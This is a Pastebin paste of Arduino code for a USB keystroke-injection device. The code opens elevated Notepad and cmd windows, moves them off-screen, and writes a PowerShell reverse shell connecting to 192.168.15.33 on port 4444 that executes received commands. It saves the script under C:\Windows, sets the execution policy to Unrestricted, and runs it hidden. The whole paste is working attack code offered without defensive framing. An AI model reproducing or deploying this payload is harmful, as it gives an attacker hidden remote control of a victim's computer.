Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <HID-Project.h>
- #include <HID-Settings.h>
- // Utility function
- void typeKey(int key){
- Keyboard.press(key);
- delay(50);
- Keyboard.release(key);
- }
- void setup()
- {
- // Start Keyboard and Mouse
- AbsoluteMouse.begin();
- Keyboard.begin();
- // Start Payload
- delay(750);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press(114);
- Keyboard.releaseAll();
- delay(1000);
- Keyboard.print("powershell Start-Process notepad -Verb runAs");
- typeKey(KEY_RETURN);
- delay(750);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(121);
- Keyboard.releaseAll();
- delay(750);
- typeKey(KEY_RETURN);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(' ');
- Keyboard.releaseAll();
- delay(1000);
- Keyboard.print("m");
- delay(1000);
- for(int i = 0; i < 100; i++) {
- typeKey(KEY_DOWN_ARROW);
- }
- typeKey(KEY_RETURN);
- Keyboard.print("Add-Content \"$env:TEMP\\98954.ps1\" '$c = New-Object System.Net.Sockets.TCPClient(\"192.168.15.33\",4444);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + \"PS \" + (pwd).Path + \"> \";$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()'");
- typeKey(KEY_RETURN);
- Keyboard.print("start-Process powershell.exe -windowstyle hidden \"$env:TEMP\\98954.ps1\"");
- typeKey(KEY_RETURN);
- Keyboard.print("Remove-Item $MyINvocation.InvocationName");
- typeKey(KEY_RETURN);
- Keyboard.press(KEY_LEFT_CTRL);
- Keyboard.press(115);
- Keyboard.releaseAll();
- delay(1000);
- Keyboard.print("C:\\Windows\\config-98954.ps1");
- typeKey(KEY_RETURN);
- delay(1000);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(KEY_F4);
- Keyboard.releaseAll();
- delay(750);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press(114);
- Keyboard.releaseAll();
- delay(750);
- Keyboard.print("powershell Start-Process cmd -Verb runAs");
- typeKey(KEY_RETURN);
- delay(750);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(121);
- Keyboard.releaseAll();
- delay(1000);
- Keyboard.print("mode con:cols=14 lines=1");
- typeKey(KEY_RETURN);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(' ');
- Keyboard.releaseAll();
- delay(750);
- Keyboard.print("m");
- delay(750);
- for(int i = 0; i < 100; i++) {
- typeKey(KEY_DOWN_ARROW);
- }
- typeKey(KEY_RETURN);
- Keyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
- typeKey(KEY_RETURN);
- delay(750);
- Keyboard.print("powershell.exe -windowstyle hidden -File C:\\Windows\\config-98954.ps1");
- typeKey(KEY_RETURN);
- // End Payload
- // Stop Keyboard and Mouse
- Keyboard.end();
- AbsoluteMouse.end();
- }
- // Unused
- void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment